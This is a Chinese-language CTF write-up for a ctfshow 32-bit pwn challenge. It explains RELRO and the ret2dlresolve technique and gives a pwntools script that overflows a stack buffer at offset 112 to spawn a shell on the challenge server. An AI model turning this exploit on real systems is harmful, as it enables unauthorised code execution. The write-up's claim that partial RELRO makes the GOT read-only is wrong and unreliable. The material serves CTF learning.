
1、题目分析
checksec:

32位NX,但是重点应该在Partial RELRO
先来看看知识点吧,有点忘了
RELRO(ReLocation Read-Only)是一种内存保护技术,用于加强对二进制数据段的保护。它主要通过两种模式来实现:partial RELRO和full RELRO。这些技术的目的是为了防止攻击者通过篡改地址来劫持程序的执行流程。
partial RELRO与full RELRO
partial RELRO:在这种模式下,某些段(如.dynamic和.got)在初始化后会被标记为只读。这意味着全局偏移表(GOT)是不可写的,从而提高了安全性。在某些系统上,如Ubuntu 16.04(GCC-5.4.0),默认开启的是Partial RELRO
full RELRO:这种模式比partial RELRO更严格。除了partial RELRO的特性外,它还禁止了延迟绑定,所有的导入符号在程序启动时就会被解析。.got.plt段会被完全初始化为目标函数的最终地址,并被标记为只读。在full RELRO模式下,link_map和_dl_runtime_resolve的地址也不会被装入。开启full RELRO可能会对程序启动时的性能造成影响,但它能有效防止GOT被篡改
现在我们的got表不可篡改
ret2libc不行,还是先看看其他做法吧
main函数:

show函数:

有栈溢出,我们调试一下大小吧,怕ida不准

偏移量是112,应该没有问题。然后就是运用pwntools解题,
看看知识:
ret2dl_resolve是linux下一种利用linux系统延时绑定 (Lazy Binding)机制的一种漏洞利用方法,其主要思想是利用_dl_runtime_resolve ()函数写GOT表的操作,改写写入GOT的内容,使其成为getshell的函数值。
2、试一试
这里用到pwntools的ret2dl_resolve类
写payload有一点复杂,所以想用flat来简化
需要用到rop链,照着ctfshow的官方wp写的
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28182)
elf=ELF("./pwn3")
rop=ROP("./pwn3")
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop=rop.chain()
p.recvuntil("Welcome to CTFshowPWN!\n")
payload=flat({112:raw_rop,0x100:dlresolve.payload})
p.sendline(payload)
p.interactive()
分析一下这个payload比较疑惑的地方
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
构造一个伪造的 system(“/bin/sh”) 调用。
Ret2dlresolvePayload 会自动帮你生成伪造的 .rel.plt, .dynsym, .dynstr 等结构,绕过 GOT 解析机制。
rop.read(0, dlresolve.data_addr)
构造 ret2dlresolve 的调用链,触发 _dl_runtime_resolve,从而调用 system(“/bin/sh”)
raw_rop = rop.chain()
把 ROP 链转成字节流。
payload = flat({112:raw_rop, 0x100:dlresolve.payload})
偏移 112 字节处放 ROP 链(覆盖返回地址)。
偏移 0x100(256) 字节处放伪造的 dlresolve.payload(伪造结构体)。
256 只是一个人为选定的、足够大的偏移量,用来把伪造结构体放到不会和 ROP 链冲突、又能被 read 一次性写进去的缓冲区位置。

ok,技能加1










